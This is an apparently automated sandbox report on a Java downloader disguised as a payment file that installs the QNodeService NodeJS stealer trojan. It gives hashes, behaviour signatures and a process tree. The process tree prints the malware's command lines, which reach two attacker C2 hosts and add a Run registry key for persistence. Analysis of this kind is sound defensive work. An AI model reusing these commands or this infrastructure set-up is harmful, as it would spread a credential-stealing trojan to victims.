Analysis

  • max time kernel
    136s
  • max time network
    151s
  • platform
    windows10_x64
  • resource
    win10v200430
  • submitted
    02-07-2020 06:47

General

  • Target

    payment 45.450,20 Euro.jar

  • Size

    12KB

  • MD5

    070253aecc9cd3441285bd1a5710b62e

  • SHA1

    05c90b7a18329fe99956913dfed535ebe5503bf7

  • SHA256

    62716017ffcc1ef7fc4923eeb3d0df2e8c5dfde0e195eb4ef2aa4673f83f20a2

  • SHA512

    40145524b698fc72d8fa4b7b10fd3a554a941bcff0a116484eda7ed290474bda6409812196f96b7b25c857c2625db10e7e5874a25b2375a7f102aa3dc7132b26

Malware Config

Signatures

  • Executes dropped EXE 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Looks up external IP address via web service 2 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Adds Run entry to start application 2 TTPs 2 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs
  • QNodeService NodeJS Trojan 1 IoCs
  • Checks processor information in registry 2 TTPs 6 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • QNodeService

    is a trojan written in NodeJS and spread via Java downloader. Utilizes stealer functionality.

  • Loads dropped DLL 4 IoCs

Processes

  • C:\ProgramData\Oracle\Java\javapath\java.exe
    java -jar "C:\Users\Admin\AppData\Local\Temp\payment 45.450,20 Euro.jar"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:3888
    • C:\Users\Admin\qnodejs-node-v13.13.0-win-x64\node.exe
      C:\Users\Admin\qnodejs-node-v13.13.0-win-x64\node.exe C:\Users\Admin\qnodejs-node-v13.13.0-win-x64\qnodejs\wizard.js start --group user:[email protected] --register-startup --central-base-url https://eurotools.spdns.org --central-base-url https://eurotools.chickenkiller.com
      2⤵
      • Executes dropped EXE
      • Suspicious use of WriteProcessMemory
      PID:3400
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /d /s /c "REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "qnodejs-16d81cee" /t REG_SZ /F /D "cmd /D /C \"C:\Users\Admin\qnodejs-node-v13.13.0-win-x64\qnodejs\qnodejs-16d81cee.cmd\"""
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:68
        • C:\Windows\system32\reg.exe
          REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "qnodejs-16d81cee" /t REG_SZ /F /D "cmd /D /C \"C:\Users\Admin\qnodejs-node-v13.13.0-win-x64\qnodejs\qnodejs-16d81cee.cmd\""
          4⤵
          • Adds Run entry to start application
          PID:3048
      • C:\Users\Admin\qnodejs-node-v13.13.0-win-x64\node.exe
        C:\Users\Admin\qnodejs-node-v13.13.0-win-x64\node.exe C:\Users\Admin\qnodejs-node-v13.13.0-win-x64\qnodejs\qnodejs-win32-x64.js serve start --group user:[email protected] --register-startup --central-base-url https://eurotools.spdns.org --central-base-url https://eurotools.chickenkiller.com
        3⤵
        • Executes dropped EXE
        • Suspicious behavior: EnumeratesProcesses
        • Checks processor information in registry
        • Loads dropped DLL
        PID:3744

Network

MITRE ATT&CK Enterprise v6

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Downloads

  • memory/3400-117-0x000003E9F13C0000-0x000003E9F13C1000-memory.dmp

    Filesize

    4KB

  • memory/3744-123-0x00000169BAEC0000-0x00000169BAEC1000-memory.dmp

    Filesize

    4KB